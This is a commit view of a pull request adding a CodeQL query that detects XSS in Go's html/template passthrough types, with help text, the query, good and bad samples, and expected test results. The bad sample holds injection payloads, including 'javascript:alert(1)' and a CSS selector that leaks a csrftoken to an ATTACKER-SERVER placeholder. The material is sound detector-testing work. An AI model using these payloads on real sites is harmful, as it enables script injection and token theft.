Merge pull request #493 from gagliardetto/html-template-escaping-passthrough

Add CWE-79: HTML template escaping passthrough
This commit is contained in:
Chris Smowton
2021-04-08 20:36:54 +01:00
committed by GitHub
7 changed files with 685 additions and 0 deletions

View File

@@ -0,0 +1,28 @@
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
<qhelp>
<overview>
<p>
In Go, the <code>html/template</code> package has a few special types
(<code>HTML</code>, <code>HTMLAttr</code>, <code>JS</code>, <code>JSStr</code>, <code>CSS</code>,
<code>Srcset</code>, and <code>URL</code>)
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
</p>
<p>Using them on user-provided values will result in an opportunity for XSS.</p>
</overview>
<recommendation>
<p>
Make sure to never use those types on untrusted content.
</p>
</recommendation>
<example>
<p>
In the first example you can see the special types and how they are used in a template:
</p>
<sample src="HTMLTemplateEscapingPassthroughBad.go" />
<p>
To avoid XSS, all user input should be a normal string type.
</p>
<sample src="HTMLTemplateEscapingPassthroughGood.go" />
</example>
</qhelp>

View File

@@ -0,0 +1,172 @@
/**
* @name HTML template escaping passthrough
* @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
* template, it may result in XSS.
* @kind path-problem
* @problem.severity warning
* @id go/html-template-escaping-passthrough
* @tags security
* external/cwe/cwe-79
*/
import go
import DataFlow::PathGraph
/**
* Holds if the provided `untrusted` node flows into a conversion to a PassthroughType.
* The `targetType` parameter gets populated with the name of the PassthroughType,
* and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink
) {
exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source |
cfg.hasFlow(source, conversionSink) and
source = untrusted and
targetType = cfg.getDstTypeName()
)
}
/**
* Provides the names of the types that will not be escaped when passed to
* a `html/template` template.
*/
class PassthroughTypeName extends string {
PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] }
}
/**
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
* is converted into a special "passthrough" type which will not be escaped by the template generator;
* this allows the injection of arbitrary content (html, css, js) into the generated
* output of the templates.
*/
class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
PassthroughTypeName dstTypeName;
FlowConfFromUntrustedToPassthroughTypeConversion() {
this = "UntrustedToConversion" + dstTypeName
}
/**
* Gets the name of conversion's destination type.
*/
PassthroughTypeName getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) {
exists(Type typ |
typ = sink.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name)
)
}
override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
}
/**
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink
) {
exists(
FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source,
DataFlow::Node execSinkLocal
|
cfg.hasFlow(source, execSinkLocal) and
source = conversion and
execSink = execSinkLocal and
targetType = cfg.getDstTypeName()
)
}
/**
* A taint-tracking configuration for reasoning about when the result of a conversion
* to a PassthroughType flows to a template execution call.
*/
class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
PassthroughTypeName dstTypeName;
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
this = "ConversionToExec" + dstTypeName
}
/**
* Gets the name of conversion's destination type.
*/
PassthroughTypeName getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) {
isSourceConversionToPassthroughType(source, _)
}
private predicate isSourceConversionToPassthroughType(
DataFlow::TypeCastNode source, PassthroughTypeName name
) {
exists(Type typ |
typ = source.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name)
)
}
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
}
/**
* Holds if the sink is a data value argument of a template execution call.
*/
predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
exists(Method fn, string methodName |
fn.hasQualifiedName("html/template", "Template", methodName) and
call = fn.getACall()
|
methodName = "Execute" and sink = call.getArgument(1)
or
methodName = "ExecuteTemplate" and sink = call.getArgument(2)
)
}
/**
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
* flows into a template executor call.
*/
class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Configuration {
FlowConfFromUntrustedToTemplateExecutionCall() {
this = "FlowConfFromUntrustedToTemplateExecutionCall"
}
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
override predicate isSanitizer(DataFlow::Node sanitizer) {
sanitizer instanceof SharedXss::Sanitizer or sanitizer.getType() instanceof NumericType
}
}
/**
* Holds if the provided `untrusted` node flows into the provided `execSink`.
*/
predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) {
exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink))
}
from
DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall,
PassthroughTypeName targetTypeName, DataFlow::PathNode conversion
where
// A = untrusted remote flow source
// B = conversion to PassthroughType
// C = template execution call
// Flows:
// A -> B
flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion.getNode()) and
// B -> C
flowsFromConversionToExec(conversion.getNode(), targetTypeName, templateExecCall.getNode()) and
// A -> C
flowsFromUntrustedToExec(untrustedSource, templateExecCall)
select templateExecCall.getNode(), untrustedSource, templateExecCall,
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
untrustedSource.getNode(), "untrusted source", conversion.getNode(), "converted"

View File

@@ -0,0 +1,70 @@
package main
import (
"html/template"
"os"
)
func main() {}
func source(s string) string {
return s
}
type HTMLAlias = template.HTML
func checkError(err error) {
if err != nil {
panic(err)
}
}
// bad is an example of a bad implementation
func bad() {
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
{
{
var a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
{
var a template.HTML
a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
var a HTMLAlias
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
}
}
{
var c = template.HTMLAttr(source(`href="https://example.com"`))
checkError(tmplTag.Execute(os.Stdout, c))
}
{
var d = template.JS(source("alert({hello: 'world'})"))
checkError(tmplScript.Execute(os.Stdout, d))
}
{
var e = template.JSStr(source("setTimeout('alert()')"))
checkError(tmplScript.Execute(os.Stdout, e))
}
{
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
checkError(tmpl.Execute(os.Stdout, b))
}
{
var f = template.Srcset(source(`evil.jpg 320w`))
checkError(tmplSrcset.Execute(os.Stdout, f))
}
{
var g = template.URL(source("javascript:alert(1)"))
checkError(tmpl.Execute(os.Stdout, g))
}
}

View File

@@ -0,0 +1,15 @@
package main
import (
"html/template"
"os"
)
// good is an example of a good implementation
func good() {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped:
var escaped = source(`<a href="example.com">link</a>`)
checkError(tmpl.Execute(os.Stdout, escaped))
}
}

View File

@@ -0,0 +1,306 @@
edges
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
nodes
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
